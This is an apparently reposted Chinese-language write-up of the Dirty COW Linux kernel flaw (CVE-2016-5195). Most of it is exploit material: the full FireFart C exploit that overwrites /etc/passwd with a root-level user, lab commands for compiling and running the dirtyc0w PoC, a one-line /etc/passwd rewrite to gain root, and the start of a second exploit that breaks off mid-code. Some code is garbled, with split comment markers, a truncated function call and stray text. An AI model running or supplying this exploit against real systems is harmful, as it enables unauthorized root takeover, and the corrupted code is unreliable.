9.CVE-2016-5195（脏⽜）内核提权漏洞分析漏洞描述：
漏洞编号：CVE-2016-5195
漏洞名称：脏⽜（Dirty COW）
漏洞危害：低权限⽤户利⽤该漏洞技术可以在全版本Linux系统上实现本地提权
影响范围：Linux内核>=2.6.22（2007年发⾏）开始就受影响了，直到2016年10⽉18⽇才修复。
360 Vulpecker Team：Android 7.0最新的10⽉补丁安全级别的系统上测试过漏洞POC，确认Android受影响
为什么这个漏洞叫脏⽜（Dirty COW）漏洞？
Linux内核的内存⼦系统在处理写时拷贝（Copy-on-Write)时存在条件竞争漏洞，导致可以破坏私有只读内存映射。
⼀个低权限的本地⽤户能够利⽤此漏洞获取其他只读内存映射的写权限，有可能进⼀步导致提权漏洞
漏洞相关细节
漏洞细节：
漏洞复现：
本次借助i春秋实验平台来复现此漏洞，当然也可以下载低版本的linux来实验。
漏洞poc:
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
/
/ created user.
//
// To use this exploit modify the user values according to your needs.
//  The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//  github/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//  gcc -pthread dirty.c -o dirty -lcrypt
//
/
/ Then run the newly create binary by either doing:
//  "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//  mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// firefart.at
//
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
};
char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
}
char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
int size = snprintf(NULL, 0, format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id,
return ret;
}
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
printf("File %s already exists! Please delete it and run again\n",      to);
return -1;
}
char ch;
FILE *source, *target;
source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
}
while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
}
printf("%s successfully backed up to %s\n",
from, to);
fclose(source);
fclose(target);
return 0;
}
int main(int argc, char *argv[])
{
/
/ backup file
int ret = copy_file(filename, backup_filename);
if (ret != 0) {
exit(ret);
}
struct Userinfo user;
// set values, change as needed
user.username = "firefart";
user.user_id = 0;
user.info = "pwned";
user.home_dir = "/root";
user.shell = "/bin/bash";
char *plaintext_pw;
if (argc >= 2) {
plaintext_pw = argv[1];
printf("Please enter the new password: %s\n", plaintext_pw);
} else {
plaintext_pw = getpass("Please enter the new password: ");
}
user.hash = generate_password_hash(plaintext_pw);
char *complete_passwd_line = generate_passwd_line(user);
printf("Complete line:\n%s\n", complete_passwd_line);
f = open(filename, O_RDONLY);
fstat(f, &st);
map = mmap(NULL,
st.st_size + sizeof(long),
PROT_READ,
MAP_PRIVATE,
f,
0);
printf("mmap: %lx\n",(unsigned long)map);
pid = fork();
if(pid) {
waitpid(pid, NULL, 0);
int u, i, o, c = 0;
int l=strlen(complete_passwd_line);
for(i = 0; i < 10000/l; i++) {
for(o = 0; o < l; o++) {
for(u = 0; u < 10000; u++) {
c += ptrace(PTRACE_POKETEXT,
pid,
map + o,
*((long*)(complete_passwd_line + o)));
}
}
}
printf("ptrace %d\n",c);
}
else {
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth,NULL);
}
printf("Done! Check %s to see if the new user was created.\n", filename);
printf("You can log in with the username '%s' and the password '%s'.\n\n",
user.username, plaintext_pw);
printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
backup_filename, filename);
return 0;
}
打开i春秋实验环境，发现实验机下已存在漏洞poc：dirtyc0w.c，
执⾏以下命令进⾏gcc编译：
gcc -pthread dirtyc0w.c -o dirtyc0w
参数：-pthread会附加⼀个宏定义-D_REENTRANT该宏会导致libc头⽂件选择那些thread-safe的实现            -o  为编译后输出的⽂件名
编译成功
验证漏洞：
执⾏以下命令进⾏将 bmjoker 字符串保存到 foo ⽂件内，并进⾏⽂件权限的设置：：
echo bmjoker > foo
chmod 000 foo
可以看出此时foo⽂件为0权限，
接下来就是执⾏poc，来越权修改⽂件内容：
执⾏失败的原因是：
如果测试写⼊⽂件，没有r也就是读取权限，就会导致POC执⾏失败。这就是这个漏洞的局限性
因为该漏洞是利⽤系统处理写时拷贝（Copy-on-Write) 时存在条件竞争漏洞，越权写⼊⽂件内容。
我们给予它可读权限：
chmod 0404 foo
0404代表所有⽤户默认情况下对该⽂件只有读取权限，⽆法修改删除。
准备测试POC（Copt-on-Write）越权写⽂件效果。
执⾏以下命令测试漏洞：
./dirtyc0w foo hacked by bmjoker
利⽤dirtyc0w漏洞已经编译过的⽂件来写⼊值hacked by bmjoker
下⾯执⾏该POC，POC执⾏完成约⼀分钟，根据返回信息已经执⾏成功:
发现内容已经被覆盖，不过⼤⼩需要跟源⽂件差不多...
根据POC执⾏后的结果，判断该系统存在 CVE-2016-5195（脏⽜）内核提权漏洞。
既然可以越权修改系统⽂件，这样的话，只要修改 /etc/passwd 把当前⽤户的uid改成0就可以作为root登录
⽤到命令：
./dirtyc0w /etc/passwd ichunqiu:x:0:0::/home/ichunqiu:/bin/bash
这样的话我们以当前ichunqiu⽤户⾝份登陆，就是root权限，提权成功
后续发展，有了强⼤的exp :
// -----------------------------------------------------------------
// Copyright (C) 2016  Gabriele Bonacini
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
/
/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software Foundation,
// Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301  USA
// -----------------------------------------------------------------
#include <iostream>
cve漏洞库
#include <fstream>
#include <string>
#include <thread>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <pwd.h>
#include <pty.h>
#include <string.h>
#include <termios.h>
#include <sys/wait.h>
#include <signal.h>
#define  BUFFSIZE    1024
#define  DEFSLTIME  300000
#define  PWDFILE    "/etc/passwd"
#define  BAKFILE    "./.ssh_bak"
#define  TMPBAKFILE  "/tmp/.ssh_bak"
#define  PSM        "/proc/self/mem"
#define  ROOTID      "root:"
#define  SSHDID      "sshd:"
#define  MAXITER    300
#define  DEFPWD      "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/" #define  TXTPWD      "dirtyCowFun\n"
#define  DISABLEWB  "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n"
#define  EXITCMD    "exit\n"
#define  CPCMD      "\\cp "
#define  RMCMD      "\\rm "
using namespace std;
class Dcow{

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。